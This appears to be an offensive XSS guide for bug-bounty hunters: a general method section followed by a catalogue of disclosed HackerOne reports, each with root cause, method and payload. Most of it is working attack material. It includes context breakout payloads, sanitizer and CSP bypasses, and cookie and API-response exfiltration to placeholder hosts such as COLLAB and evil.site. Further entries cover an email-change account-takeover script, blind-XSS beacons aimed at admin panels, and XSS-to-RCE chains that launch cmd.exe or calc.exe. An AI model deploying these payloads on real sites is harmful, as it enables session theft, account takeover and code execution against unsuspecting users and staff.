Cross-Site Scripting (XSS) happens when attacker-controlled input is returned to a browser and interpreted as markup or JavaScript in the target's origin, instead of inert data. Once your JS runs in the origin it can read the DOM, exfiltrate cookies and CSRF tokens, call the site's own API as the victim, and drive state-changing actions — so XSS is best treated as an account-takeover primitive, not a popup.
# Canary — send this, then see what comes back un-encoded
kZ9x"'<>/\{{7*7}}
# If {{7*7}} -> 49, you're in a template engine (SSTI), not XSS — pivot.
Find which of these your input lands in, then use the matching breakout.
Tags are not encoded — inject an element carrying an event handler; you rarely need <script>.
"><img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
Break out of the quoted value; if quotes are filtered, add a new attribute/handler in place.
"><img src=x onerror=alert(1)>
" autofocus onfocus=alert(1) x="
' accesskey='X' onclick='alert(1) <!-- when only single quotes are allowed -->
';alert(document.domain)//
'-alert(document.domain)-'
</script><img src=x onerror=alert(1)>
// You're inside a JS string the server HTML-encodes, but the value is later read
// into innerHTML. HTML-encoding leaves \uXXXX alone; JS decodes it at the sink.
// Send the ESCAPED form as the parameter value:
\u003cimg src=x onerror=alert(1)\u003e
// the JS parser decodes the string literal to:
// <img src=x onerror=alert(1)> -> innerHTML -> fires
javascript:alert(document.domain)
https://TARGET/login?next=javascript:alert(document.domain)
https://TARGET/#<img src=x onerror=alert(1)> # hash written to an innerHTML sink
Fields rendered later in a context you can't see (support chat, admin dashboards, invoice PDFs, log viewers). Attacker-controlled filenames, usernames, and imported/3rd-party data (markdown, GitHub labels) are reliable vectors.
"><img src=1 onerror="new Image().src='https://COLLAB/?c='+encodeURIComponent(document.cookie)">
// 1. Non-HttpOnly cookie -> steal the session
new Image().src = 'https://COLLAB/?c=' + encodeURIComponent(document.cookie);
// 2. Exfiltrate an authenticated API response as the victim
fetch('/api/me', {credentials: 'include'})
.then(r => r.text())
.then(d => navigator.sendBeacon('https://COLLAB/', d));
// 3. HttpOnly session? Act in-session: use the site's own CSRF token to
// change the victim's email, then trigger a password reset -> account takeover
fetch('/account/csrf', {credentials: 'include'})
.then(r => r.json())
.then(({token}) => fetch('/account/email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json', 'X-CSRF-Token': token},
body: JSON.stringify({email: 'attacker@evil.com'})
}));
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 936 in this class.
Real-world example
Game UI HTML/JS injection (Panorama html=true) -> desktop RCE
◆ Critical
Specimen #631956 · valve · awarded · 417 votes · resolved
Program valveSurface desktopChain Server kick message -> Panorama HTML injection -> onmo
Root cause
CS:GO's Panorama UI renders certain fields with html=true; a server-controlled kick/disconnect message is rendered as raw HTML, and an onmouseover handler can call privileged Panorama JS APIs (SteamOverlayAPI.OpenExternalBrowserURL) to launch local executables.
Method
- Grep extracted Panorama layout files for html="true" to find injectable sinks (popup_generic.xml)
- Confirm HTML render via an <img src> in a custom disconnect message
- Deliver via a dedicated-server SourceMod KickClient() (no length limit) an <a onmouseover> payload
- Victim mouses over the centered kick text -> Panorama JS runs -> launch file://calc.exe
sm_testkick <a onmouseover="javascript:SteamOverlayAPI.OpenExternalBrowserURL('file://C:/Windows/System32/calc.exe')">The remote host stopped receiving communications and closed the connection</a>
Insight — Any 'rich text'/HTML-capable UI (game overlays, chat, notifications) is an XSS-to-RCE surface if the framework exposes native JS APIs. Enumerate which fields render raw HTML, then reach a privileged API from an event handler; server-side send functions (kick messages) make it remote.
Real-world example
javascript: URI via bbcode [url] in React chat, escalated to RCE
◆ Critical
Specimen #409850 · valve · 7500 · 493 votes · resolved
Program valveSurface desktopChain XSS -> custom protocol handler -> RCE
Root cause
React does not sanitize href attributes, so a bbcode [url] tag mapped to <a href> allows a javascript: (and custom-scheme) URI; in an embedded browser this chains to native protocol handlers for RCE.
Method
- Send chat messages and use DevTools breakpoints on dangerouslySetInnerHTML/innerHTML, stepping back the call stack to the sanitizer
- Enumerate accepted bbcode tags; find [url=...] allows arbitrary URLs incl. javascript:
- When javascript: is stripped by the custom client, pivot to custom URI schemes (steam://)
- Discover steam://openexternalforpid/<pid>/cmd.exe launches arbitrary processes -> RCE
- Alternatively abuse OEMBED whitelist via codepen.io (JS-injection-as-a-service) to run JS in the privileged embed
[url=javascript:alert(1)]click[/url]
steam://openexternalforpid/10400/cmd.exe
OEMBED via whitelisted codepen.io embed to reach window/Electron APIs
Insight — In React apps, hunt href/src/location sinks built from user input (javascript: not mitigated by React). In desktop/Electron/CEF wrappers, escalate XSS to RCE via custom protocol handlers and OEMBED-whitelisted JS sandboxes.
Real-world example
Blind stored XSS via unsanitized upload filename, fires in support/admin panel
◆ Critical
Specimen #1010466 · cs_money · 1000 · 445 votes · resolved
Program cs_moneySurface webChain CSRF file upload -> blind stored XSS in support agent sesTag file-upload
Root cause
The filename of an uploaded file is stored and later rendered unescaped in an internal support-chat/admin view; a filename-borne payload becomes blind stored XSS in the operator's browser.
Method
- Upload a file to support chat via Burp
- Rename the file (filename param) to an HTML/JS payload
- Payload executes when a support agent opens the chat
- (chainable) upload endpoint lacked CSRF token/origin check, letting the file be planted cross-site
"><img src=1 onerror="url='https://attacker/?'+encodeURIComponent(document.cookie);x=new XMLHttpRequest();x.open('GET',url);x.send()">
Insight — Filenames are a classic overlooked stored-XSS sink because they surface in admin/support tooling that is rarely sanitized. Plant XSS-Hunter-style blind payloads in filename, display-name, and free-text 'instructions' fields that only staff render.
Real-world example
HTML/CSS sanitizer bypass in email via backslash-encoded url() -> form injection
◆ Critical
Specimen #982291 · basecamp · 5000 · 359 votes · resolved
Program basecampSurface webChain sanitizer bypass -> form injection -> CSRF-with-token
Root cause
The email HTML sanitizer mis-parses CSS: backslash numeric escapes inside a style url() are decoded after filtering, letting attacker escape the shadow-DOM message container and inject an opening <form>; a JS framework (Stimulus) then auto-submits it with the app's CSRF token.
Method
- Send raw text/html email (sendmail -t) with a <style> using url(cid://...) full of backslash escapes
- \000027 confuses the filter; encoded <message-content>/<template> escape the shadow root
- Inject <form action=... data-controller=beacon> with hidden inputs
- Stimulus auto-submits the form with a framework-inserted CSRF token
<style>
url(cid://\00003c\000027message-content\00003e\00003ctemplate\00003e\00003cstyle\00003exxx);
url(cid://\00003c/style\00003e...\00003cform\000020action=/my/accounts/ID/forwardings/outbounds\000020data-controller=beacon\00003e\00003cinput\000020name=contact_outbound_forwarding[to_email_address]\000020value=attacker@x\00003e\00003c/form\00003exxx);
</style>
Insight — Against HTML/CSS email sanitizers, probe CSS-escape decoding (\00003c == <) that happens after sanitization. Even without <script> (CSP), injecting a lone <form> and abusing the app's own JS framework controllers (Stimulus/Turbo) to auto-submit lets you perform CSRF-token-bearing state changes.
Real-world example
Stored XSS in private messages via iframe src=javascript: + fromCharCode eval
◆ Critical
Specimen #487081 · wordpress · awarded · 337 votes · resolved
Program wordpressSurface webChain stored XSS -> admin reads message -> account/role take
Root cause
BuddyPress private messages render user HTML, allowing <iframe src=javascript:...>; spaces/quotes in the payload are avoided with eval(String.fromCharCode(...)) so full admin-context actions run when the recipient reads the message.
Method
- Send a private message containing an iframe javascript: payload
- For complex JS, encode as char codes and eval to avoid spaces/quotes
- When an admin reads it, the JS performs privileged wp-admin actions (change role, edit settings)
<iframe src=javascript:eval(String.fromCharCode.apply(null,[/* JS bytes */])) width=0 height=0 style=display:none;></iframe>
Insight — In-app messaging that renders HTML is prime stored XSS; hidden 0x0 iframes keep it stealthy in inbox previews. When the sink forbids spaces/quotes, String.fromCharCode+eval carries arbitrarily complex JS (self-propagating worm, privilege escalation via admin-read).
Real-world example
Stored XSS via reference-filter string interpolation + upload-filename smuggling
◆ Critical
Specimen #1212067 · gitlab · 16000 · 316 votes · resolved
Program gitlabSurface webChain upload-filename injection -> attribute injection -> st
Root cause
The markdown design-reference filter builds an <a> tag by string-interpolating a url derived from a design filename; uploading a design with quotes in the filename (Content-Disposition filename* to skip Workhorse sanitization) breaks out and, chained with ReferenceRedactor's data-original, injects arbitrary HTML with a CSP bypass.
Method
- Upload a design, changing Content-Disposition to filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png to allow quotes
- Reference the design in markdown so the filter interpolates the quoted filename into href
- Add data-original with html-encoded <script> to trigger ReferenceRedactor rebuild
- CSP bypass via apis.google.com jsonp callback=setTimeout
Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png
<a href='.../designs/bbb%22class%3D%22gfm%22a%3D%27.png'>' data-design="1" data-issue="1" data-reference-type="design" data-original="<script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'></script>"</a>
Insight — Look for server-side HTML built by string interpolation of any user-controllable token (here a filename). Filenames can carry quotes if you bypass the upload sanitizer via RFC5987 filename* / Content-Disposition tricks. Google's apis.google.com jsonp endpoint with callback=setTimeout is a reusable CSP bypass when googleapis is script-src-allowed.
Real-world example
OIDC form_post response_mode: unsanitized state param -> HTML injection/XSS -> access-token theft
◆ Critical
Specimen #2515808 · toolsforhumanity · awarded · 104 votes · resolved
Program toolsforhumanitySurface webChain state HTML injection in form_post -> retarget token-beariTag oauthTag account-takeover
Root cause
With OIDC response_mode=form_post, the provider reflects the client-supplied state into an auto-submitting HTML form containing the access token; insufficient filtering of state allowed HTML/attribute injection into that form (XSS was CSP-mitigated, but HTML injection alone leaks the token).
Method
- Initiate a World ID OIDC flow with response_mode=form_post
- Put HTML into the state parameter (which is reflected into the form_post response body)
- Inject a button/form whose action points to attacker; the access token in the form is submitted along with it
- Victim interaction submits the token to the attacker (XSS blocked by CSP, HTML injection still exfiltrates)
state=<injected HTML button/form pointing action to attacker; access_token present in the same form is sent on click>
Insight — OIDC response_mode=form_post renders parameters (state) into an HTML page that also carries the access_token - treat the whole form_post response as an XSS/HTML-injection sink. Even when CSP blocks script execution, HTML injection (a button/form retargeting the submit action) still exfiltrates the token in the form body. Always test state/nonce reflection in form_post.
Real-world example
CSP whitelist bypass via double-encoded path traversal on trusted CDN
◆ Critical
Specimen #781265 · h1-ctf · none · 99 votes · resolved
Program h1-ctfSurface webChain ATO -> CSP bypass XSS -> IDOR -> headless-chrome deTag account-takeover
Root cause
A CSP script-src allowlist trusts a CDN host (raw.githack.com). Path traversal, double-URL-encoded to survive the CDN's own normalization, lets an attacker load an arbitrary attacker-controlled JS file that still appears to originate from the allowlisted host.
Method
- Identify a CDN host allowlisted in the target CSP (e.g. raw.githack.com)
- Host your JS under an attacker repo on that CDN
- Reach it from a trusted library URL using double-encoded traversal (..%252f) so the browser sees the allowlisted prefix but the CDN resolves to your file
- Inject the <script src> via a reflected sink (chat message)
https://h1-415.h1ctf.com/support/chat?message=%3Cscript%20src=%22https://raw.githack.com/mattboldt/typed.js/master/lib/typed.js/..%252f..%252f..%252f..%252f..%252fInvaders0/xss/<hash>/as.js%22%3E%3C/script%3E
Insight — When CSP whitelists a user-content CDN, test path-traversal off a trusted file path using double URL encoding to pull your own script under the trusted origin. Also chain: CTF combined account-takeover email trick + IDOR review-name update + headless-chrome remote debugging.
Real-world example
Mutation-based stored XSS bypassing DOMPurify via MathML (Trix)
◆ Critical
Specimen #2819573 · basecamp · awarded · 84 votes · resolved
Program basecampSurface webChain Paste payload -> sanitizer bypass -> stored XSS ->
Root cause
The Trix rich-text editor sanitizes attachment HTML, but a mutation-XSS vector (MathML mtext + mglyph + style wrapping an img onerror) is reparsed by the browser after sanitization into an executing tag, bypassing the sanitizer on copy-paste.
Method
- Craft an HTML doc containing the mutation-XSS payload inside a data-trix-attachment content blob
- Copy the marked text from that page
- Paste into a Trix editor (2.1.8); the browser's re-parse mutates the nested MathML/table/style into a live img onerror -> alert()
copy<div data-trix-attachment="{"contentType":"text/html5","content":"<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>XSS POC"}"></div>me
<!-- decoded mutation vector: -->
<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>
Insight — Against sanitizer-protected rich-text editors, reach for mutation XSS: MathML/SVG foreign-content elements (mglyph, annotation-xml) + <style>/<table> confuse the parser so post-sanitize DOM reparse yields an executing node. Test the copy-paste path specifically, not just typed input. Re-check on every DOMPurify/editor version bump.
Real-world example
Asset poisoning + DOM XSS via hash-addressed renderer input (Graphie)
◆ Critical
Specimen #2846011 · khanacademy · none · 83 votes · resolved
Program khanacademySurface webChain Re-upload asset with same JS hash -> poisoned SVG/JSON se
Root cause
A legacy conversion API stores graphie assets addressed by a hash of only the JS component; an attacker re-uploads the same JS with malicious SVG (onload) and JSON, keeping the hash/URL, so the poisoned asset is served from CDN and the client-side graphie renderer injects an attacker JSON label (typesetAsMath:false) into the DOM on any page using that graphie.
Method
- Take an existing graphie asset URL (hash = hash of its JS)
- POST the original JS plus malicious svg and JSON (label content <script>, typesetAsMath:false) to the graphie-to-png upload endpoint
- Because the hash is unchanged, the CDN URL now serves your payload; pages rendering that graphie (khanacademy.org) execute it via SVG onload and the renderer's DOM injection
var form = new FormData();
form.append('js', ORIGINAL_JS);
form.append('svg', '<svg ... onload="alert(1)">...</svg>');
form.append('other_data', JSON.stringify({labels:[{content:'<script>alert(1)</script>',typesetAsMath:false}]}));
await fetch('http://graphie-to-png.kasandbox.org/svg',{method:'POST',body:form});
Insight — When a cache/CDN key is a hash of only part of the content (here just the JS, not the SVG/JSON), you can override a trusted asset without changing its URL — content-addressing is only safe if the hash covers everything that renders. Combine with a client renderer that injects data into the DOM (label content with typesetAsMath:false) for stored DOM XSS across every consumer.
Real-world example
Cross-privilege stored XSS via account/company settings fields
◆ Critical
Specimen #503298 · x · USD 700 · 73 votes · resolved
Program xSurface webChain stored XSS in org settings -> admin session hijack -> Tag account-takeover
Root cause
Multiple account/company settings fields (company name, currency, etc.) are stored unescaped and rendered across settings/report views for other users in the same organization, so a low-priv member and an admin can XSS each other (vice-versa).
Method
- As a member, inject payload into company name or currency in account settings
- Payload is stored and shown to other org users on reports/settings/edit-user pages
- When an admin (or member) opens those pages, XSS fires in their session
- Hijack the victim's session
"'><img src=x onerror=alert(document.domain)> // injected into currency / company name fields
Insight — Multi-tenant/org settings that render one user's input into another user's views are stored-XSS with built-in privilege escalation: test member->admin and admin->member. Enumerate every settings field (currency, company info, invoice/branding fields) since a partial 'broad fix' often misses siblings sharing the same sink.
Real-world example
Stored XSS via REST API message attachment field
◆ Critical
Specimen #219957 · rocket_chat · none · 73 votes · resolved
Program rocket_chatSurface api
Root cause
chat.postMessage attachment fields are rendered unsanitized in the message viewer: when an attachment has image_url set, the first field's value is emitted into HTML, allowing tag injection when < is the leading character.
Method
- Login to the REST API for an auth token/user id
- POST chat.postMessage with an attachment whose image_url is set
- Put an <img ... onload=...> payload as the first field's value (must start with <)
- Any user viewing the message executes the script
curl -H "X-Auth-Token: <T>" -H "X-User-Id: <U>" http://target/api/v1/chat.postMessage -d "channel=<CH>&attachments[0][image_url]=/assets/logo&attachments[0][fields][0][title]=&attachments[0][fields][0][value]=<img src=/assets/logo width=1 height=1 onload=alert('XSS') />Pwned"
Insight — Rich message objects (attachments, blocks, embeds, cards) sent via API often have per-field rendering rules the web composer never exposes; drive them directly with the REST API. Fields gated on a sibling property (here: rendered only when image_url is set) and leading-character rules (< must be first) are classic under-sanitized API sinks.
Real-world example
ReaderMode XSS via meta author + CSP nonce template placeholder
◆ Critical
Specimen #1436142 · brave · awarded · 72 votes · resolved
Program braveSurface mobile-iosChain XSS on privileged reader origin -> steal uuidkey -> acTag account-takeover
Root cause
Brave iOS ReaderMode builds a local page from a template where %READER-CREDITS% is filled from the page's <meta name=author> without HTML-escaping, and CSP was relaxed to allow scripts carrying nonce=%READER-TITLE-NONCE%; the template later substitutes the real nonce, so an attacker-supplied <script nonce=%READER-TITLE-NONCE%> becomes CSP-valid and executes on the privileged localhost reader origin.
Method
- Host a page whose <meta name="author"> content contains an HTML-escaped script tag using the nonce placeholder token.
- Victim opens the page and taps Reader mode.
- Template inserts author value unescaped into %READER-CREDITS% and replaces %READER-TITLE-NONCE% with the real nonce, so the script is CSP-allowed and runs on http://localhost:6571 reader origin.
- From that origin iframe/read cross-origin reader pages and steal the uuidkey to reach privileged pages.
<meta name="author" content="Evil <script nonce=%READER-TITLE-NONCE%>alert(document.location);</script>!--">
Insight — When a client feature (reader/AMP/translate view) rehydrates a template and blindly injects page metadata, look for CSP nonce/placeholder tokens the template fills in later; supplying the literal placeholder yields a valid-nonce script and bypasses CSP.
Real-world example
Blind stored XSS via registration name field firing in back-office admin panel
◆ Critical
Specimen #251224 · grab · USD 750 · 50 votes · resolved
Program grabSurface webChain blind stored XSS via user-supplied name -> admin panel co
Root cause
A user-controlled name field (registration/parcel) is stored and later rendered unescaped in an internal admin/staff dashboard (third-party detrack panel), where the blind payload executes.
Method
- Register/submit with your name set to a blind-XSS payload that beacons to your collaborator
- Wait for a staff member to open the admin user/order list
- Payload fires in the admin context, exfiltrating the panel
"><script src=https://COLLAB/x.js></script>
Insight — Seed every free-text profile/order field (name, address, company) with a blind-XSS callback (XSS Hunter style); the payload often detonates in an internal admin/support console you can't see. Also check third-party fulfillment/logistics dashboards.
Real-world example
Rocket.Chat AutoLinker+Markdown parser-confusion stored XSS to account takeover
◆ Critical
Specimen #735638 · rocket_chat · none · 41 votes · resolved
Program rocket_chatSurface webChain Stored XSS -> steal Meteor.loginToken from localStorage -Tag account-takeover
Root cause
Chaining Markdown link syntax with AutoLinker tricks the message parser into breaking out of an HTML attribute, injecting an <a> with an onanimationiteration handler; a CSS animation auto-fires the handler (no user click), giving stored XSS.
Method
- Post a crafted message combining a Markdown link and AutoLinker to break out of the href attribute
- Inject style=animation... onanimationiteration=<JS> so the payload auto-triggers on animation
- In the handler, redefine Symbol.hasInstance=eval and use 'code'instanceof[] to eval a string (bypass CSP/quote filters)
- Steal localStorage 'Meteor.loginToken', authenticate to the websocket, call insertOrUpdateUser to self-grant admin
https://a?p=[ ](https:// style=animation-duration:1s;animation-name:blink;animation-iteration-count:2 onanimationiteration=Array.prototype[Symbol.hasInstance]=eval,'alert\x28\x27XSS\x27\x29;'instanceof[] target=_blank data-x=`.`)
Insight — Two independent 'safe' text transformers (Markdown + AutoLinker) composed can re-open HTML attribute context - test parser chains, not just one parser. animation + onanimationiteration is a click-less auto-trigger. Symbol.hasInstance=eval + 'str'instanceof[] runs a string as code without eval() literals or parentheses.
Real-world example
Blind stored XSS caught on admin backend via OOB (XSSHunter) callback
◆ Critical
Specimen #1051369 · deptofdefense · none · 33 votes · resolved
Program deptofdefenseSurface webChain blind stored XSS -> admin session/DB-cred capture on inteTag account-takeover
Root cause
User-submitted data (form/contact fields) is stored and later rendered unsanitized in an internal admin/backend panel that the attacker cannot see; a blind XSS payload with an out-of-band callback fires when staff view it, exfiltrating cookies, DOM, and screenshots.
Method
- Seed blind-XSS payloads (XSSHunter/self-hosted collector) into every field an operator might later view: names, addresses, user-agents, support tickets, contact forms
- Wait for the OOB callback when an admin opens the backend record
- Use the captured cookies/DOM/screenshot to assess and demonstrate impact
"><script src=https://YOURID.xss.ht></script>
# collector reports victim URL, admin IP, User-Agent, cookies, and a DOM screenshot
Insight — For fields whose output you never see (support, admin review, logs, analytics dashboards), use blind-XSS beacons rather than reflected probes. The callback proves execution and yields the internal admin context — often the highest-impact XSS on a target.
Real-world example
DOM XSS via postMessage abusing autolink() attribute injection
◆ Critical
Specimen #1758132 · khanacademy · none · 33 votes · resolved
Program khanacademySurface webChain malicious page -> postMessage -> autolink attribute inTag account-takeover
Root cause
A message handler with a weak origin check passes attacker JSON to autolink(), which builds an <a href="URL"> by string concatenation; a URL containing a quote injects extra attributes (style + onmouseover), producing DOM XSS driven entirely by postMessage.
Method
- Open the target challenge/iframe page from an attacker window
- postMessage the expected results JSON but with a test 'msg' whose URL contains a quote to break out of href and add attributes
- Autolink emits <a href="http://#/" style=... onmouseover=...> and the handler fires
http://#/"style="width:2000px;height:2000px;position:fixed;top:0;left:0;z-index:200;"onmouseover="eval(String.fromCharCode(97,108,101,114,116,40,49,41))"
Insight — URL-to-anchor builders that concatenate instead of encoding the href are attribute-injection sinks: a " in the URL adds arbitrary attributes/handlers. Combine with a postMessage handler that lacks a strict event.origin allowlist for a remote, no-reflection DOM XSS. A full-viewport fixed element makes onmouseover fire on any movement.
Real-world example
CSP whitelisted-path bypass via double-encoded traversal on a proxy + headless-Chrome debugger SSRF
◆ Critical
Specimen #780285 · h1-ctf · none · 17 votes · resolved
Program h1-ctfSurface webChain email-regex sanitization ATO -> HTML injection to supportTag account-takeover
Root cause
A CSP script-src that whitelists a full URL path on a Github proxy (raw.githack.com/.../lib/) can be escaped with a URL-encoded path traversal: Chrome refuses to decode %2f as '/', so the path looks in-scope to the CSP parser while the origin server decodes it and serves attacker-hosted JS.
Method
- Confirm the CSP whitelists a specific proxy path for scripts.
- Host attacker JS in your own Github repo (served via the same proxy).
- Reference it with %2f-encoded traversal so Chrome's CSP check passes but the proxy resolves the traversal.
- In the injected JS read window.location to recover the internal review URL, then browse the headless-Chrome debugger on localhost:9222 (via an injected iframe) to read other open tabs and leak secret URLs.
<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fATTACKER/repo/master/x.js"></script>
// inside x.js, pivot to the headless-Chrome DevTools endpoint:
document.write("<iframe src='http://localhost:9222/json' width=900 height=1000></iframe>");
Insight — CSP path whitelists on proxy/CDN domains are bypassable when the browser and origin disagree on URL normalization (%2f). Any headless Chrome used for PDF/screenshot/preview generation likely exposes DevTools on :9222 - an internal SSRF/secret-leak primitive.
Real-world example
Stored XSS via API message-attachment field rendered as verbatim HTML
◆ Critical
Specimen #899954 · rocket_chat · none · 16 votes · resolved
Program rocket_chatSurface apiChain stored XSS -> admin cookie theft/privilege escalation -&gTag account-takeover
Root cause
When no custom renderer matches a message attachment field type, the client renders field.value as raw HTML ('consider the value already formatted as html'), so an attacker posting an attachment via the REST API stores XSS for all channel members.
Method
- Obtain a Personal Access Token
- Create a channel and lure admins into it
- POST a message via /api/v1/chat.postMessage whose attachment field.value contains an <img onerror> payload
- XSS fires in every viewer, including admins
curl -H "X-Auth-Token: T" -H "X-User-Id: U" -H "Content-type:application/json" https://server/api/v1/chat.postMessage -d '{"channel":"#cookies","attachments":[{"fields":[{"type":"x","title":"pwn","value":"test<img src=x onerror=alert(document.cookie)/>","short":false}]}]}'
Insight — Rich-message/attachment/embed fields that fall back to rendering user 'value' as HTML are prime stored-XSS sinks; drive them via the API (not just the UI). In Electron-based desktop clients such XSS escalates to RCE, and chat XSS is wormable.
Real-world example
Stored XSS via unescaped user-controlled name/label/metadata fields
◆ Critical
Specimen #1532858 · omise · USD 200 · 13 votes · resolved
Program omiseSurface webChain Shared/rendered to admins -> session/cookie theft -> aTag account-takeover
Root cause
Text fields the user controls (export-metadata labels, contact/customer names, network names, map-object names, registration first/last name) are stored and later rendered into HTML without output encoding, so the payload fires wherever the value is echoed (often a different page than where it was entered).
Method
- Find a free-text field whose value is echoed elsewhere (settings labels, names, titles, descriptions).
- Store a breakout payload in the field and save.
- Trigger the render surface (reload, re-login, open dashboard/profile, or share the object) to fire the XSS.
<script>alert(document.cookie)</script>
"><img src=x onerror=prompt(document.cookie)>
<svg/onload=confirm(document.cookie)>
Insight — Any persisted text field is a stored-XSS candidate; the sink is usually a *different* view (dashboard load, profile page, shared object, downstream export) than the input form. Enter payloads everywhere and then walk every page that renders that data. Fields that get shared to other/higher-priv users turn low-priv input into ATO.
Real-world example
Blind stored XSS in profile fields -> admin ATO (XSS Hunter)
◆ Critical
Specimen #1110243 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface webChain Low-priv stored XSS -> admin views back-office -> cookTag account-takeover
Root cause
Profile fields (first name, last name, company, title) store HTML unsanitized and render in an admin-side view; a blind XSS canary fires in the admin browser and exfiltrates cookies/DOM.
Method
- Enter an image/script blind-XSS canary into profile first/last/company/title
- Wait for an admin to view the profile in the back-office
- Receive XSS Hunter fire with admin cookies, IP, DOM screenshot; reuse cookies for admin panel access
"><img src="https://YOUR.xss.ht/index.html?c=canary" />
Insight — Seed every stored profile/support field with a blind-XSS canary (XSS Hunter / your collab). Admin-facing back-office renderers are frequently unsanitized -> stolen admin session = account takeover. Low-priv input, high-priv execution.
Real-world example
Reflected XSS via unsanitized GET parameter (HTML context)
◆ Critical
Specimen #235866 · mapsmarker_com_e_u · awarded · 6 votes · resolved
Program mapsmarker_com_e_uSurface web
Root cause
A GET parameter (e.g. dir) is reflected directly into the HTML body without encoding, allowing tag injection.
Method
- Enumerate reflected GET params (dir, source, section, q ...)
- Inject an event-handler tag payload
- Confirm execution
https://TARGET/updates-pro/archive/?dir=v3.0.1<svG onLoad=prompt(1)>
Insight — The bread-and-butter reflected XSS: spray a canary through every GET param, grep responses for the reflection, then fit the payload to context. Mixed-case tags (svG/onLoad) sometimes slip weak regex filters.
Real-world example
HTML sanitizer that parses into the live DOM executes payloads before cleaning
◆ Critical
Specimen #308155 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
html-janitor's clean() builds its 'sandbox' with document.createElement('div') and assigns sandbox.innerHTML = dirtyHtml. Assigning innerHTML on a live, in-document-capable element loads resources and fires inline handlers (img onerror) at parse time, so the sanitizer itself triggers the XSS it is meant to prevent.
Method
- Feed attacker HTML to the sanitizer's clean() entry point
- innerHTML assignment parses <img src onerror=...> and immediately fires onerror before any whitelist filtering runs
var j = new HTMLJanitor({tags:{p:{}}});
j.clean("<p><img src onerror=alert()><p>");
Insight — Never trust a client-side sanitizer that uses innerHTML/createElement on a live document to 'parse then strip'. Safe parsing must use an inert document: document.implementation.createHTMLDocument(), DOMParser, or <template>.content. When auditing any HTML-sanitizer/whitelist library, grep for innerHTML/outerHTML/insertAdjacentHTML in the parse step.
Real-world example
Markdown renderer allows javascript: href even with sanitize enabled
◆ Critical
Specimen #344069 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
react-marked-markdown overrides marked's link renderer with a custom function that does not validate/escape the href, so marked's sanitize:true (which escapes tag output, not link schemes) does not prevent a javascript: URI in a Markdown link.
Method
- Render attacker-supplied Markdown through the component with markedOptions={{sanitize:true}}
- Use a Markdown link whose URL is a javascript: URI; the custom renderer emits <a href="javascript:..."> and it fires on click
[XSS](javascript: alert`1`)
Insight — Markdown-to-HTML is a recurring XSS sink: even with a 'sanitize' flag, custom link/image renderers and permissive schemes (javascript:, data:, vbscript:) slip through. When testing any markdown field, try [x](javascript:alert(1)) and . Fix: allowlist http/https/mailto for hrefs.
Real-world example
Stored XSS via unsanitized filename in directory-listing HTML
◆ Critical
Specimen #311101 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Static-file servers that auto-generate directory indexes write each filename straight into the listing HTML (inside an <a> tag) without HTML-encoding. A file whose NAME contains markup becomes stored XSS for anyone who browses the directory.
Method
- Create a file whose name is an XSS payload in a served directory
- Start the static file server with directory listing enabled
- Open the directory index in a browser; the filename executes
# filenames (create with touch):
"><iframe src="malware_frame.html">
"><svg onload=alert(3333333)>
<img src=x onerror='alert("XSS")'>
javascript:alert('you are pwned!') # href pseudo-protocol variant
Insight — Any feature that echoes user- or filesystem-controlled NAMES into HTML is a sink: dir listings, file managers, upload galleries, S3 index pages. Test by naming an artifact with markup rather than fuzzing a parameter.
Real-world example
Markdown/wiki link renders javascript: href
◆ High
Specimen #526325 · gitlab · awarded · 627 votes · resolved
Program gitlabSurface web
Root cause
A markdown/wiki link renderer converts special link syntax into an href without filtering dangerous URI schemes, so a crafted link text/target becomes javascript:alert().
Method
- Create a new wiki page
- Set Page slug/Title to `javascript:`
- Set Content to the hierarchical-link markdown `[XSS](.alert(1);)` (the leading `.` is expanded to `javascript:`)
- Click the rendered XSS link
Content: [XSS](.alert(1);) (renders href="javascript:alert(1);")
Also: data:, vbscript: via same path
Insight — Any markdown/wiki renderer that supports custom link shorthands may expand text into a scheme-bearing href; test `.`, `..`, and scheme-like titles to smuggle javascript:/data:/vbscript:.
Real-world example
Fullwidth `<` normalized to `<` bypasses stored-XSS filter
◆ High
Specimen #639684 · rockstargames · 1000 · 569 votes · resolved
Program rockstargamesSurface webTag file-upload
Root cause
Input sanitizer escapes ASCII `<` but a later Unicode normalization step converts fullwidth `<` (U+FF1C) into `<`, reintroducing a live tag after filtering.
Method
- Submit a message containing fullwidth `<script...` plus combining/zero-width noise
- Server normalizes `<`->`<` after the escaping step
- Payload renders as a live <script src>
=[̕h+͓.<script/src=//evil.site/poc.js>.͓̮̮ͅ=sW
Insight — When `<`/`>` are filtered, try Unicode homoglyphs/fullwidth forms (< > U+FF1C/FF1E) and combining marks; normalization or font-mapping downstream can restore the real character after sanitization.
Real-world example
Insecure deeplink loads attacker URL in WebView with JS bridge -> data exfil
◆ High
Specimen #401793 · grab · awarded · 547 votes · resolved
Program grabSurface mobile-androidChain deeplink open-redirect -> WebView JS bridge -> account
Root cause
An exported deeplink (grab://open?screenType=HELPCENTER&page=URL) loads an arbitrary URL into a WebView that exposes a JavascriptInterface (getGrabUser); JS bridges have no origin policy, so attacker JS reads sensitive data.
Method
- Find a deeplink whose parameter is loaded into a WebView (grab://open?screenType=HELPCENTER&page=https://attacker/p.html)
- Host a page that calls the exposed bridge
- Android: window.Android.getGrabUser(); iOS: JSON.stringify(window.grabUser)
- Send the deeplink to victim; data exfiltrated on load
<a href="grab://open?screenType=HELPCENTER&page=https://attacker/p.html">go</a>
<script>data=window.Android?Android.getGrabUser():JSON.stringify(window.grabUser);fetch('//attacker/?'+encodeURIComponent(data))</script>
